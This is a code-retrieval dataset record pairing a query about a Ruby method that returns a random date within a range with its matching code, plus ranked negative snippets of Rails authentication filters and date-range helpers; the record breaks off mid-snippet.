authenticate!\n\t\t\tunless signed_in? or params[:controller].include?\"devise\"\n\t\t\t\tflash[:notice] = \"You're not logged in!\"\n\t\t\t\tredirect_to :root\n\t\t\tend\n\t\tend", "def before_authorization(action, role, resource_config)\n raise NotImplementedError\n end", "def authorize_signed_in!\n redirect_to user_session_path, alert: \"You have to be signed in to do that!\" unless current_user\n end", "def security\n if !logged_in?\n flash[:login_please] = \"Please Exist\"\n redirect_to login_path\n end\n end", "def authorized\n redirect_to \"/login\" unless logged_in? \n end", "def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end", "def authenticate_scope!\n \n \n do_before_request \n\n end", "def filter_redirect; end", "def filter_redirect; end", "def devise_modules_hook!; end", "def authorize\n redirect_to '/login' unless current_user\n end", "def user_authentication\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authenticate_user\n# save current page for redirection after login\n redirect_to controller: :user, action: :login unless logged_in? \n current_user\n end", "def before\n end", "def require_no_user(options = {})\n self.before_filter options do |controller|\n controller.send(:require_no_user)\n end\n end", "def current_user_required\n\t\t# Have to add \".filter(self)\" when not in before_filter line.\n\t\tCASClient::Frameworks::Rails::Filter.filter(self)\n\tend", "def before_all\n super if defined?(super)\n end", "def require_authentication\n\n # No matter what the app does a user can always login, forgot\n # password and register. The controllers provided by this\n # plugin alreaddy have these controllers/actions on an\n # exception list but this prevents a mistake an overridden\n # controller from preventing the normal login behavior.\n %w(session password user).each do |c|\n \t %w(new create).each do |a|\n return if (controller_name == c) && (action_name == a)\n end\n \t end\n\n # If we cannot get the current user store the requested page\n # and send them to the login page.\n if current_user.nil? or current_user.anonymous?\n redirect_to login_url(:return_to => request.url) and false\n end\n end", "def login_required\n not_authorized unless current_user\n end", "def filter_request(request)\n @token.authenticate(request)\n end", "def before_request(&block)\n @before_request = block if block\n @before_request || proc { |a| a }\n end", "def disable_devise_for_cloudfuji_controllers!\n puts \"Disabling devise auth protection on cloudfuji controllers\"\n\n ::Cloudfuji::DataController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n ::Cloudfuji::EnvsController.instance_eval { before_filter :authenticate_user!, :except => [:update] }\n ::Cloudfuji::MailController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n\n puts \"Devise checks disabled for Cloudfuji controllers\"\n end", "def authorized_user!\n unless user_logged_in?\n redirect_to root_path\n end\n end", "def filter_user_is_registered\n unless( user_is_registered)\n redirect_to_login\n end\n end", "def authenticate\n redirect_to :login unless user_signed_in?\n end", "def user_action_on_resource_authorized\n end", "def before(*actions, &block)\n before_action = Moonrope::BeforeAction.new(@controller)\n before_action.block = block\n before_action.actions = actions\n @controller.befores << before_action\n before_action\n end", "def before\n end", "def sign_in_local\n __log_activity\n __debug_route\n end", "def authorize\n redirect_to new_session_path unless current_user #call method curent_user in sessions_helper\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def login_check\n if session[:user_id].present?\n unless (controller_name == \"user\") and [\"first_login_change_password\",\"login\",\"logout\",\"forgot_password\"].include? action_name\n user = User.active.find(session[:user_id])\n \n \n end\n end\n end", "def authorize\n redirect_to('/login') unless @current_user\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_before_filter name\n filter = find_method name, @current_class\n\n if filter.nil?\n Brakeman.debug \"[Notice] Could not find filter #{name}\"\n return\n end\n\n method = filter[:method]\n\n if ivars = @tracker.filter_cache[[filter[:controller], name]]\n ivars.each do |variable, value|\n env[variable] = value\n end\n else\n processor = Brakeman::AliasProcessor.new @tracker\n processor.process_safely(method.body_list, only_ivars(:include_request_vars))\n\n ivars = processor.only_ivars(:include_request_vars).all\n\n @tracker.filter_cache[[filter[:controller], name]] = ivars\n\n ivars.each do |variable, value|\n env[variable] = value\n end\n end\n end", "def authentication_required\n if !logged_in?\n redirect_to login_path\n end\n end", "def pre_authorize_cb; end", "def authorize # we can call it anything\n redirect_to '/login' unless current_user # if there is a current user then it will never redirect\n end", "def check_user_before_action\n @blog = Blog.find(params[:id])\n if (current_user != @blog.user) and (@blog.global == false)\n redirect_to({ action: \"index\" }, notice: \"You don't have sufficient permissions\")\n\n end\n end", "def login_user\n before(:each) do\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n @user = create(:user)\n # @user.confirm! # or set a confirmed_at inside the factory. Only necessary if you are using the confirmable module\n sign_in @user\n end\n end", "def authorize\n\t\tredirect_to '/login' unless current_user\n\tend", "def before\n\t\t\ttrue\n\t\tend", "def authorize \n redirect_to login_url, notice: \"Please log in\" if session[:user_id].nil?\n end", "def before_filter(filter_name, options)\n [options[:only]].flatten.each do |action|\n add_filter(filter_name, action)\n end\n end", "def on_pre_request( request )\n end", "def login_required! \n if ! is_logged_in? \n redirect '/login' \n end \n end", "def authenticate\n \treturn if controller_name == \"pages\"\n \tif !logged_in?\n \t\tflash[:alert] = \"Must be an admin or a nutritionist\"\n \t\tredirect_to root_path\n \tend\n end", "def signed_in_user\n # Listing 9.18: Adding store_location to the signed-in user before filter.\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end", "def login_required\n authenticate_user! \n end", "def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end", "def application_before\n run_event(:application_before)\n end", "def on_pre_request( request ); end", "def auth_controller?\n false\n end", "def authorize\n redirect_to new_sessions_path if current_user.nil?\nend", "def before_actions(*logic)\n self.before_actions = logic\n end", "def authorize\n redirect_to login_path, alert: 'You must be logged in to access this page.' if current_user.nil?\n end", "def signed_in_user\n\n\t\t# If check to see if user is signed in\n \tunless signed_in?\n\n \t\t# Store the last the requested action and store it\n \t\tstore_location\n\n \t\t# Redirect to the signin url with notice to signin\n \t\tredirect_to signin_url, notice: \"Please sign in.\"\n \tend\n \tend", "def authorize\n unless @_user = User.find_by_id(session[:user_id])\n# session[:original_uri] = request.request_uri\n flash[:notice] = \"Please login first\"\n redirect_to :controller => :login, :action => :index\n end\n end", "def before(action = nil, options = Hash.new, &block)\n self.before_filters[action || block] = options\n end", "def before\n @before\n end", "def authorize\n @logged_in_user = User.find(session[:user_id])\n rescue\n reset_session\n @logged_in_user = nil\n if User.find(:all).length > 0\n session[:jumpto] = request.parameters\n redirect_to :controller => 'authentication', :action => :login and return false\n else\n redirect_to :controller => 'authentication', :action => :setup and return false\n end\n end", "def after_custom_authentication; end", "def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend", "def authorized\n redirect_to :controller => 'home', :action => 'index' unless logged_in?\n end", "def authorize\n redirect_to :root, alert: 'You must be logged in to view this page' if current_user.nil?\n end", "def authorize!\n redirect '/' unless logged_in?\n end", "def require_petsitter_signin\n\n # how we can tell if a user who is a petsitter is signed in is by checking current_petsitter method which would either return nil or a petsitter object\n\n # we want to redirect to sign in page unless there is a petsitter object(meaning a petsitter is signed in)\n unless current_petsitter\n\n # if we enter inside this block it means there is no signed in user and the action that was to be run whether edit or update wont be run because we will redirect\n redirect_to new_session_path , alert: \"Please sign in first!!\"\n\n end\n\n end", "def check_authentication\n case self.controller_name\n when /^clients/i, /^ingredients/i, /^orders/i, /^pages/i, /^productpresentations/i, /^products/i, /^companies/i\n authenticate\n end\n end", "def user_signin_status\n unless user_signed_in?\n redirect_to root_url\n end\n end", "def before_methods\n @@before_methods\n end" ]
[ "0.71008986", "0.68945825", "0.6850403", "0.6849251", "0.66201884", "0.65465033", "0.6542085", "0.64197195", "0.6374917", "0.63641566", "0.63354844", "0.6314023", "0.62780416", "0.62488604", "0.6237925", "0.6216489", "0.6215897", "0.6141002", "0.60661536", "0.6054977", "0.6047289", "0.59944427", "0.59442586", "0.59419334", "0.5925972", "0.5922594", "0.5908983", "0.5897398", "0.5895852", "0.58802605", "0.5873339", "0.5873339", "0.58650196", "0.5858224", "0.5837713", "0.58244705", "0.58244705", "0.58244705", "0.58244705", "0.58244705", "0.58244705", "0.58244705", "0.58244705", "0.58235854", "0.58228856", "0.58204925", "0.5802952", "0.5789975", "0.5786412", "0.57819575", "0.5778682", "0.57783467", "0.5777185", "0.5763977", "0.57493603", "0.5747999", "0.5747723", "0.5747459", "0.57408935", "0.5739033", "0.5737918", "0.5735042", "0.5728058", "0.5710011", "0.56937355", "0.56913257", "0.56856585", "0.56855285", "0.5685476", "0.5679321", "0.5678344", "0.56704664", "0.5669499", "0.56666756", "0.5660353", "0.5657326", "0.5650217", "0.5643852", "0.563931", "0.5633337", "0.5630087", "0.5629339", "0.5628907", "0.5625972", "0.56239766", "0.56173056", "0.5615935", "0.5614919", "0.56147873", "0.5606542", "0.5602102", "0.5596838", "0.5596543", "0.5594647", "0.5593222", "0.5591915", "0.55915344", "0.5590959", "0.5587053", "0.5586561", "0.55853254" ]
0.0
-1
Returns a date within the specified Range. The Range can be Date or String objects. Example: min = Date.parse('19661115') max = Date.parse('19900101') Random.date(min..max) => a Date between 11/15/1996 and 1/1/1990 Random.date('19661115'..'19900101') => a Date between 11/15/1996 and 1/1/1990
def date_between(range) min_date = range.min.is_a?(Date) ? range.min : Date.parse(range.min) max_date = range.max.is_a?(Date) ? range.max : Date.parse(range.max) diff = (max_date - min_date).to_i min_date + rand(diff) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def date_between (min, max)\n Predicate.new(:date_between, { min: min, max: max}) do |o|\n o >= min && o <= max\n end\n end", "def get_start_date\n \n start_of_date_range = \"2005/01/01\" #YYYY/MM/DD\n end_of_date_range = \"2013/01/01\" #YYYY/MM/DD\n #array of all dates in range\n date_range = (Date.parse(start_of_date_range)..Date.parse(end_of_date_range)).to_a\n #pulls out a random date based on the Kernel randomizer going now higher than the array length\n date_range[Kernel.rand(date_range.length-1)].to_s\n \nend", "def date_between_dates(first, last)\n Faker::Date.between(first, last)\n end", "def between(date_range)\n merge(between: date_range)\n end", "def between(date_range)\n merge(between: date_range)\n end", "def date_range(start_str, end_str)\n Date.parse(start_str)..Date.parse(end_str)\n rescue ArgumentError => e\n halt 400, { err: 'Invalid date(s)', msg: e.message }.to_json\n end", "def for_date_range(beginning:, ending:)\n new_with_date_range(beginning, ending)\n end", "def date_between(from = nil, to = nil, format = '%D')\n raise ArgumentError, 'Invalid date format' if from.to_s.empty? || to.to_s.empty?\n\n start_date = from.nil? ? Date.today.strftime(format) : Date.strptime(from, format)\n end_date = to.nil? ? Date.today.strftime(format) : Date.strptime(to, format)\n\n Faker::Date.between(from: start_date, to: end_date).strftime(format)\n end", "def range\n (start_date...end_date) #exclusive date range\n end", "def date_range\n @date_range ||= start_at..end_at\n end", "def date_range( start_date, end_date )\n d_range = []\n cur_date = start_date \n\n until cur_date == end_date\n d_range << cur_date\n cur_date = Calendar.next_day( cur_date )\n end\n \n d_range << end_date\n end", "def rationalise_dates\n default_range = date_range()\n\n begin\n if ( not @range_month_start.blank? )\n year, month = unpack_string( @range_month_start )\n range_start = Date.new( year, month )\n elsif ( not @range_week_start.blank? )\n year, week = unpack_string( @range_week_start )\n range_start = Timesheet.date_for( year, week, TimesheetRow::FIRST_DAY, true )\n else\n range_start = Date.parse( @range_start )\n end\n rescue\n range_start = default_range.min\n end\n\n begin\n if ( not @range_month_end.blank? )\n year, month = unpack_string( @range_month_end )\n range_end = Date.new( year, month ).at_end_of_month()\n elsif ( not @range_week_end.blank? )\n year, week = unpack_string( @range_week_end )\n range_end = Timesheet.date_for( year, week, TimesheetRow::LAST_DAY, true )\n else\n range_end = Date.parse( @range_end )\n end\n rescue\n range_end = default_range.max\n end\n\n if ( range_end < range_start )\n @range = range_end..range_start\n else\n @range = range_start..range_end\n end\n\n # Hard-coded range throttle to 32 days (just over a \"longest month\") for\n # daily reports to avoid excessive server load.\n\n if ( @frequency_data[ :generator ] == :daily_report )\n @range = ( @range.last - 32.days )..( @range.last ) if ( @range.last.to_time - @range.first.to_time > 32.days )\n end\n end", "def date_range(from_date, until_date, options = {})\n options.symbolize_keys!\n format = options[:format] || :short\n separator = options[:separator] || \"-\"\n\n if format.to_sym == :short\n month_names = I18n.t(\"date.abbr_month_names\")\n else\n month_names = I18n.t(\"date.month_names\")\n end\n\n from_day = from_date.day\n from_month = month_names[from_date.month]\n from_year = from_date.year\n until_day = until_date.day\n\n dates = { from_day: from_day }\n\n if from_date.day == until_date.day && from_date.month == until_date.month && from_date.year == until_date.year\n date_format = \"same_day\"\n dates.merge!(day: from_day, month: from_month, year: from_year)\n elsif from_date.month == until_date.month && from_date.year == until_date.year\n date_format = \"same_month\"\n dates.merge!(until_day: until_day, month: from_month, year: from_year)\n else\n until_month = month_names[until_date.month]\n\n dates.merge!(from_month: from_month, until_month: until_month, until_day: until_day)\n\n if from_date.year == until_date.year\n date_format = \"different_months_same_year\"\n dates.merge!(year: from_year)\n else\n until_year = until_date.year\n\n date_format = \"different_years\"\n dates.merge!(from_year: from_year, until_year: until_year)\n end\n end\n\n I18n.t(\"date_range.#{format}.#{date_format}\", dates.merge(sep: separator))\n end", "def query_user_for_date_range\n\tstart_date = nil\n\tend_date = nil\n\n\tuntil start_date && end_date\n\t\tputs \"\\n First, we need a start date.\"\n\t\tstart_date = query_user_for_date\n\n\t\tputs \"Next, we need an end date.\"\n\t\tend_date = query_user_for_date\n\n\t\tif !date_range_valid?(start_date, end_date)\n\t\t\tputs \"Let's try again\"\n\t\t\tstart_date = end_date = nil\n\t\tend\n\tend\n\n\treturn start_date, end_date\nend", "def date(limit = nil)\n Validation.new { |d| d.is_a?(Date) && in_range?(d, limit) }\n end", "def url_params_for_date_range\n begin\n start_date = Date.parse(params[:start])\n end_date = Date.parse(params[:end])\n rescue ArgumentError\n halt 'Invalid date format'\n end\n\n # call for validation\n if !date_valid?(start_date)\n halt \"Start date must be after #{DATA_START_DATE} and before today.\"\n elsif !date_valid?(end_date)\n halt \"End date must be after #{DATA_START_DATE} and before today.\"\n elsif !date_range_valid?(start_date, end_date)\n halt 'Invalid date range!'\n end\n return start_date, end_date\nend", "def date_range(past_day=nil, past_month=nil, past_year=nil, future_day=nil, future_month=nil,future_year=nil)\n if (past_day != nil || past_month != nil || past_year != nil) && (future_day != nil || future_month != nil || future_year != nil)\n start_date = get_date(past_day,past_month,past_year,-1)\n end_date = get_date(future_day,future_month,future_year, 1)\n elsif past_day == nil && past_month == nil && past_year == nil && future_day == nil && future_month == nil && future_year == nil\n start_date = get_date(nil,nil,nil,0)\n end_date = get_date(nil,nil,nil,0)\n elsif (past_day == nil && past_month == nil && past_year == nil) && (future_day != nil || future_month != nil || future_year != nil)\n start_date = get_date(nil,nil,nil,0)\n end_date = get_date(future_day,future_month,future_year,1)\n elsif (past_day != nil || past_month != nil || past_year == nil) && (future_day == nil && future_month == nil && future_year == nil)\n start_date = get_date(past_day,past_month,past_year, -1)\n end_date = get_date(nil,nil,nil,0)\n else\n fail(\"Invalid Argument Passed to date range method. Please enter correct arguments\")\n end\n return start_date,end_date\nend", "def birthday(min_age: 18, max_age: 65)\n t = ::Date.today\n\n from = birthday_date(t, max_age)\n to = birthday_date(t, min_age)\n\n between(from: from, to: to).to_date\n end", "def to_range\n (@start_date..@end_date)\n end", "def to_range\n start_date..end_date\n end", "def determine_date_range\n case @time_frame\n when 'week' then (@date.beginning_of_week..@date.end_of_week)\n when 'month' then (@date.beginning_of_month..@date.end_of_month)\n end\n end", "def query_user_for_date_range\n start_date = nil\n end_date = nil\n\n puts \"\\nFirst, we need a start date.\"\n start_date = query_user_for_date\n\n puts \"\\nNext, we need an end date.\"\n end_date = query_user_for_date\n\n return start_date, end_date\nend", "def set_date_range(begin_date, end_date)\n @begin_date = begin_date.to_date\n @end_date = end_date.to_date\n end", "def between(first_date, last_date)\n return [] if first_date > last_date\n current_date = first_date\n active_dates = []\n until current_date >= last_date\n active_dates << current_date if active?(current_date)\n current_date = current_date.next_day\n end\n\n active_dates\n rescue NoMethodError\n p 'provided date is not of valid type'\n nil\n end", "def between_dates(start_date, end_date)\n start_date = coerce_date(start_date)\n end_date = coerce_date(end_date)\n time_sheet = TimeSheet.new\n each do |record|\n time_sheet << record if record[:date] >= start_date and\n record[:date] <= end_date\n end\n time_sheet\n end", "def find_date_range\n date1 = find_date\n date2 = find_date\n return (date1 > date2) ? [date2, date1] : [date1, date2]\nend", "def retrieve_date_range\n\t\t@free_period = false\n\t\t@from, @to = nil, nil\n\t\tperiod_type = params[:period_type]\n\t\tperiod = params[:period]\n\t\tfromdate = params[:from]\n\t\ttodate = params[:to]\n\n\t\tif (period_type == '1' || (period_type.nil? && !period.nil?)) \n\t\t case period.to_s\n\t\t when 'current_month'\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t\t when 'last_month'\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n\t\t\t@to = (@from >> 1) - 1\n\t\t end\n\t\telsif period_type == '2' || (period_type.nil? && (!fromdate.nil? || !todate.nil?))\n\t\t begin; @from = Date.civil((fromdate.to_s.to_date).year,(fromdate.to_s.to_date).month, 1) unless fromdate.blank?; rescue; end\n\t\t begin; @to = (@from >> 1) - 1 unless @from.blank?; rescue; end\n\t\t if @from.blank?\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t\t end\n\t\t @free_period = true\n\t\telse\n\t\t # default\n\t\t # 'current_month'\t\t\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t\tend \n\t\t\n\t\t@from, @to = @to, @from if @from && @to && @from > @to\n\n\t end", "def translate_daterange_string(date, min, max)\n if date.present?\n m = /\\[(.+?) TO (.+?)\\]/.match(date)\n if m\n from, to = m[1], m[2]\n\n # buffer the dates so that we don't pick up end dates\n # themselves (ranges are end-exclusive)\n buffer = 0.5\n from = from == '*' ? min : from.to_i + buffer\n to = to == '*' ? max : to.to_i + buffer\n\n # This checks that a stored range OVERLAPS with range\n # specified in query. see\n # https://people.apache.org/~hossman/spatial-for-non-spatial-meetup-20130117/\n return \"[\\\"#{min} #{from}\\\" TO \\\"#{to} #{max}\\\"]\"\n else\n return translate_date_string_to_search_query(date)\n end\n end\n end", "def random_time_range(range)\n min = time_to_float(range.min)\n max = time_to_float(range.max)\n time = Time.at(random(min..max))\n\n if defined?(DateTime) && range.min.is_a?(DateTime)\n time = time.to_datetime\n elsif range.min.is_a?(Date)\n time = time.to_date\n end\n\n return time\n end", "def date_range\n errors.add(:start_date, 'can not be greater than end date') if start_date > end_date\n end", "def find_between(min, max)\n #place solution here\n end", "def query_user_for_date_range\n start_date, end_date = nil\n\n # untill we have both dates\n until start_date && end_date\n puts \"\\nFirst, we need a start date:\"\n start_date = query_user_for_date\n\n puts \"\\nNext, we need an end date:\"\n end_date = query_user_for_date\n\n if !date_range_valid?(start_date, end_date)\n puts \"Let's start again!\"\n start_date = end_date = nil\n end\n end\n return start_date, end_date # retunr both values as an array\nend", "def booked_date_range\n { from: :start_date, to: :end_date }\n end", "def between_dates(**mapping)\n render(STANDARD, BETWEEN_DATES, **mapping)\n end", "def minimize_date_range(start_date, end_date, pennkey = nil)\n # Find default range\n default_range = date_range(pennkey)\n # Handle nil start and end date values\n start_date = start_date.nil? ? default_range.first : Date.parse(start_date)\n end_date = end_date.nil? ? default_range.last : Date.parse(end_date)\n # Build the output\n [\n [start_date, default_range.first].max,\n [end_date, default_range.last].min\n ]\n end", "def date_in_range?(first, date, last)\n first <= date && date <= last\n end", "def get_date_range(project_id, query_id, date_range_id)\n get \"projects/#{project_id}/queries/#{query_id}/date-range/#{date_range_id}\"\n end", "def range_check(date)\n if date < @start_date\n # puts \"Reconstruindo calculadora de feriados pois dia #{date} eh menor que #{@start_date} -> #{@end_date}\"\n build(date - 2.days, @end_date, @holidays)\n elsif date > @end_date\n # puts \"Reconstruindo calculadora de feriados pois dia #{date} eh maior que #{end_date}\"\n build(@start_date, date + 252.days, @holidays)\n end\n end", "def retrieve_date_range_14\n @free_period = false\n @from, @to = nil, nil\n\n if params[:period_type] == '1' || (params[:period_type].nil? && !params[:period].nil?)\n case params[:period].to_s\n when 'today'\n @from = @to = Date.today\n when 'yesterday'\n @from = @to = Date.today - 1\n when 'current_week'\n @from = Date.today - (Date.today.cwday - 1)%7\n @to = @from + 6\n when 'last_week'\n @from = Date.today - 7 - (Date.today.cwday - 1)%7\n @to = @from + 6\n when '7_days'\n @from = Date.today - 7\n @to = Date.today\n when 'current_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1)\n @to = (@from >> 1) - 1\n when 'last_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n @to = (@from >> 1) - 1\n when '30_days'\n @from = Date.today - 30\n @to = Date.today\n when 'current_year'\n @from = Date.civil(Date.today.year, 1, 1)\n @to = Date.civil(Date.today.year, 12, 31)\n end\n elsif params[:period_type] == '2' || (params[:period_type].nil? && (!params[:from].nil? || !params[:to].nil?))\n begin; @from = params[:from].to_s.to_date unless params[:from].blank?; rescue; end\n begin; @to = params[:to].to_s.to_date unless params[:to].blank?; rescue; end\n @free_period = true\n else\n # default\n end\n\n @from, @to = @to, @from if @from && @to && @from > @to\n end", "def check_date_ranges\n today = Date.today\n !!today.between?(start_date.to_date, end_date.to_date)\n end", "def retrieve_date_range\n @free_period = false\n @from, @to = nil, nil\n\n if params[:period_type] == '1' || (params[:period_type].nil? && !params[:period].nil?)\n case params[:period].to_s\n when 'today'\n @from = @to = Date.today\n when 'yesterday'\n @from = @to = Date.today - 1\n when 'current_week'\n @from = Date.today - (Date.today.cwday - 1)%7\n @to = @from + 6\n when 'last_week'\n @from = Date.today - 7 - (Date.today.cwday - 1)%7\n @to = @from + 6\n when '7_days'\n @from = Date.today - 7\n @to = Date.today\n when 'current_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1)\n @to = (@from >> 1) - 1\n when 'last_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n @to = (@from >> 1) - 1\n when '30_days'\n @from = Date.today - 30\n @to = Date.today\n when 'current_year'\n @from = Date.civil(Date.today.year, 1, 1)\n @to = Date.civil(Date.today.year, 12, 31)\n end\n elsif params[:period_type] == '2' || (params[:period_type].nil? && (!params[:from].nil? || !params[:to].nil?))\n begin; @from = params[:from].to_s.to_date unless params[:from].blank?; rescue; end\n begin; @to = params[:to].to_s.to_date unless params[:to].blank?; rescue; end\n @free_period = true\n else\n # default\n end\n \n @from, @to = @to, @from if @from && @to && @from > @to\n\n end", "def value_in_range(range)\n case range.first\n when Integer then number_in_range(range)\n when Time then time_in_range(range)\n when Date then date_in_range(range)\n else range.to_a.rand\n end\n end", "def in_range(*args)\n opts = args.last.kind_of?(Hash) ? args.pop : {}\n limit = opts[:limit]\n count = 1\n t_start, t_end = args.first.kind_of?(Range) ? [args.first.first, args.first.last] : [args.first,args.last]\n\n raise ArgumentError, \"must be a range or two date/time objects\" unless t_start and t_end\n\n self.start = t_start\n\n @in_range ||= begin\n result = []\n loop do\n next!\n break if count > limit if limit\n break if to_date > t_end\n result << to_date\n count += 1\n end\n\n result\n end\n end", "def dates(start_date, end_date)\n @start = start_date.to_date\n @end = end_date.to_date\n @array_array_dates = []\n @range = (@start..@end)\n\n @dates = @range.map do |date|\n @day = date.day\n @month = date.mon - 1\n @year = date.year\n date = []\n date << @year\n date << @month\n date << @day\n @array_array_dates << date\n end\n return @array_array_dates\n end", "def report_range(start_date, end_date)\n @start_date = start_date\n @end_date = end_date\n end", "def validate_date_range(record, start_date_attr, start_date, end_date_attr)\n # retrieve end_date value\n end_date = record.send(end_date_attr)\n\n return if date_start_before_end?(start_date, end_date)\n\n record.errors.add(start_date_attr, :before_date_error)\n record.errors.add(end_date_attr, :after_date_error)\n end", "def date_between?(date, from, to)\n date = date.strftime(\"%Y-%m-%d\") if date.class == Time || date.class == Date\n from = from.strftime(\"%Y-%m-%d\") if from.class == Time || from.class == Date\n to = to.strftime(\"%Y-%m-%d\") if to.class == Time || to.class == Date\n time_pattern = /\\d{4}-\\d{2}-\\d{2}/\n raise ArgumentError if date.scan(time_pattern).empty?\n raise ArgumentError if from.scan(time_pattern).empty?\n raise ArgumentError if to.scan(time_pattern).empty?\n date >= from && date <= to\n end", "def input_date_range(name, from, to)\n field = field_content(name)\n id = field_id(name)\n {\n id: id,\n name: name,\n description: prop(field, 'description'),\n label: prop(field, 'label'),\n from: input_date_month_year(value_by_key(from, 'name'), value_by_key(from, 'date')),\n to: input_date_month_year(value_by_key(to, 'name'), value_by_key(to, 'date')),\n }\n end", "def filter_date_range(default = nil)\n if default.present?\n valid = DATE_RANGES.map(&:last)\n raise(\"unexpected value #{default}. Try one of #{valid.to_sentence}\") unless valid.include?(default)\n end\n\n date_range = datatable.date_range(default)\n\n filter :date_range, default, collection: DATE_RANGES, partial: 'effective/datatables/filter_date_range'\n filter :start_date, date_range&.begin, as: :date, visible: false\n filter :end_date, date_range&.end, as: :date, visible: false\n end", "def setup_range(date)\n diff = date.wday - self.class.windex(start_wday)\n @first = date - (diff + ((diff < 0) ? DAYS : 0))\n @last = @first + DAYS - 1\n end", "def between(a, b = nil)\n Between.new(a.kind_of?(Range) ? a : a..b)\n end", "def to_range\n case\n when open?, unknown?\n nil\n else\n Range.new(unknown_start? ? Date.new : @from, max)\n end\n end", "def date_range_s(format = :short)\n return date.year if all_year?\n\n if format == :long\n if start_date == end_date\n date.strftime(\"%-m/%-d/%Y\")\n else\n \"#{start_date.strftime('%-m/%-d/%Y')}-#{end_date.strftime('%-m/%-d/%Y')}\"\n end\n else\n start_date_s = \"#{start_date.month}/#{start_date.day}\"\n if start_date == end_date\n start_date_s\n elsif start_date.month == end_date.month\n \"#{start_date_s}-#{end_date.day}\"\n else\n \"#{start_date_s}-#{end_date.month}/#{end_date.day}\"\n end\n end\n end", "def between_dates(start, finish)\n start = start.chronify(guess: :begin, future: false) if start.is_a?(String)\n finish = finish.chronify(guess: :end) if finish.is_a?(String)\n WWID.new.filter_items(self, opt: { date_filter: [start, finish] })\n end", "def range(min, max)\n\tprint (min..max).to_a\nend", "def event_range events\n [events.map(&:date).min.to_date, events.map(&:date).max.to_date]\nend", "def retrieve_date_range\n\t\t@free_period = false\n\t\t@from, @to = nil, nil\n\t\tperiod_type = session[controller_name][:period_type]\n\t\tperiod = session[controller_name][:period]\n\t\tfromdate = session[controller_name][:from]\n\t\ttodate = session[controller_name][:to]\n\t\t\n\t\tif (period_type == '1' || (period_type.nil? && !period.nil?)) \n\t\t case period.to_s\n\t\t\t when 'today'\n\t\t\t\t@from = @to = Date.today\n\t\t\t when 'yesterday'\n\t\t\t\t@from = @to = Date.today - 1\n\t\t\t when 'current_week'\n\t\t\t\t@from = getStartDay(Date.today - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when 'last_week'\n\t\t\t\t@from =getStartDay(Date.today - 7 - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when '7_days'\n\t\t\t\t@from = Date.today - 7\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when 'last_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when '30_days'\n\t\t\t\t@from = Date.today - 30\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_year'\n\t\t\t\t@from = Date.civil(Date.today.year, 1, 1)\n\t\t\t\t@to = Date.civil(Date.today.year, 12, 31)\n\t end\n\t\telsif period_type == '2' || (period_type.nil? && (!fromdate.nil? || !todate.nil?))\n\t\t begin; @from = fromdate.to_s.to_date unless fromdate.blank?; rescue; end\n\t\t begin; @to = todate.to_s.to_date unless todate.blank?; rescue; end\n\t\t @free_period = true\n\t\telse\n\t\t # default\n\t\t # 'current_month'\t\t\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t end \n\t\t\n\t\t@from, @to = @to, @from if @from && @to && @from > @to\n\n\tend", "def retrieve_date_range\n\t\t@free_period = false\n\t\t@from, @to = nil, nil\n\t\tperiod_type = session[controller_name][:period_type]\n\t\tperiod = session[controller_name][:period]\n\t\tfromdate = session[controller_name][:from]\n\t\ttodate = session[controller_name][:to]\n\t\t\n\t\tif (period_type == '1' || (period_type.nil? && !period.nil?)) \n\t\t case period.to_s\n\t\t\t when 'today'\n\t\t\t\t@from = @to = Date.today\n\t\t\t when 'yesterday'\n\t\t\t\t@from = @to = Date.today - 1\n\t\t\t when 'current_week'\n\t\t\t\t@from = getStartDay(Date.today - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when 'last_week'\n\t\t\t\t@from =getStartDay(Date.today - 7 - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when '7_days'\n\t\t\t\t@from = Date.today - 7\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when 'last_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when '30_days'\n\t\t\t\t@from = Date.today - 30\n\t\t\t\t@to 